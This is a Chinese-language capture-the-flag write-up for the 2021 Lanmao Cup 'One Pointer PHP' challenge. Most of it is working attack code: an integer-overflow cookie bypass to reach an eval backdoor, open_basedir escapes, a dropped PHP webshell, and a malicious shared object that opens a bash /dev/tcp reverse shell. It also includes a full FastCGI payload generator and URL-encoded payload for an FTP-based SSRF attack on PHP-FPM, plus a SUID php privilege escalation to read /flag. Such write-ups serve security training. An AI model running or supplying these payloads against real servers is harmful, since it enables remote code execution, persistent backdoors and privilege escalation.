2021蓝帽杯-One-Pointer-PHP

2021-09-10

ctf比赛 / 2021蓝帽杯

字数统计: 2.9k | 阅读时长≈ 16 分钟

2021蓝帽杯 One Pointer PHP

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

user.php

<?php
class User{
	public $count;
}
?>

主要看 add_api.php的逻辑

最开始是判断是否 $user=unserialize($_COOKIE["data"]

所以先进入最下面的else 这里设置了 cookie键为 data 值为反序列的user对象

然后再次访问这个页面就发现有cookie了就进入了第一个if

然后遇到这个判断 if($count[]=1) 很明显这是永真的表达式要怎么绕过它才可以让我们执行下面的eval呢

数组溢出绕过

这里用到了数组溢出漏洞

原理就是当key等于PHP int类型数据的最大值时，想要再插入一个更大的值便会造成溢出导致出现Warning，关于PHP int类型数据最大值的参考文献如下：

PHP的int型数据取值范围，与操作系统相关，32位系统上为2的31次方，即-2147483648到2147483647，64位系统上为2的63次方，即-9223372036854775808到9223372036854775807。

测试如下

可以看到成功绕过

这里为64位系统所以最大值只能为 9223372036854775806

构造payload 传入cookie[data]

<?php
class User{
	public $count=9223372036854775806;
}
$a = new User;
echo urlencode(serialize($a));
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

绕过之后我们就可以写个码执行命令啥的但是读了一下phpinfo 发现设置了open_basedir

所以接下来是绕过 open_basedir

绕过open_basedir

详细看这个文章 https://www.cnblogs.com/LLeaves/p/13210005.html

可以看到我这里读到了根目录有flag

mkdir('ye'); 
chdir('ye');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..'); //chdir次数等同于Web目录返回根目录所需次数再加一
ini_set('open_basedir','/');
var_dump(scandir('./'));

也可以通过 glob协议读取

$a = new DirectoryIterator("glob:///*");
foreach($a as $f){
    echo($f->__toString().'<br>');
}

但是读取不了 /flag 应该是权限不够

另辟蹊径

先连个蚁剑

mkdir('ye'); 
chdir('ye');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..'); 
ini_set('open_basedir','/');
var_dump(file_put_contents('/var/www/html/aaa.php','<?php  eval($_POST["cmd"]);?>'));

header 记得加上cookie data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D;

接下来我们尝试读取fpm的配置文件：

mkdir('ye');
chdir('ye');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents('/usr/local/etc/php-fpm.d/www.conf'));

看到FPM运行在9001端口：

接下来就是对FPM进行攻击了

SSRF攻击FPM

我们可以通过SSRF来攻击FPM，但是受限于这道题的disable_functions，我们无法直接SSRF，但是可以利用file_put_contents()的一个特性来实现SSRF：

file_put_contents在使用 ftp 协议时, 会将 data 的内容上传到 ftp 服务器, 由于上面说的pasv模式下, 服务器的地址和端口是可控, 我们可以将地址和端口指到127.0.0.1:9000.同时由于 ftp 的特性,不会有任何的多余内容, 类似gopher协议, 会将data原封不动的发给127.0.0.1:9000, 完美符合攻击fastcgi(FPM)的要求.

首先编写一个恶意so来执行命令：

#define _GNU_SOURCE
#include <stdlib.h>#include <stdio.h>#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'exec bash -i &>/dev/tcp/IP/PORT <&1'");//反弹Shell，配置需修改
}

编译文件：gcc 1.c -fPIC -shared -o 1.so然后将so文件上传到 /var/www/html

然后再转移到 tmp目录下

1	mkdir('ye'); chdir('ye');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/');var_dump(copy('/var/www/html/hpdoger.so','/tmp/hpdoger.so'));

用以下php脚本生成payload攻击FPM： (注意我这个脚本加载到是 /tmp目录下到so文件所以我上面将so文件传到了 tmp下)

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9001',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

将生成到payload放到 data中

python起ftp服务服务器监听1234端口

最终paylaod 执行完就可以发现反弹shell了(改一下ip 端口用户名)

add_api.php?backdoor=phpinfo();file_put_contents($_GET[%27file%27],$_GET[%27data%27]);&file=ftp://用户名@ip:10023/1&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

反弹shell后还需要用到suid提权

sudi提权

首先寻找有权限命令的SUID文件：

1	find / -perm -u=s -type f 2>/dev/null

可以看到php命令是具有权限的：

php -a进入 php shell

然后还是需要绕过一下open_basedir

1	mkdir('123'); chdir('123');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/');echo(file_get_contents('/flag'));

就能读到flag了

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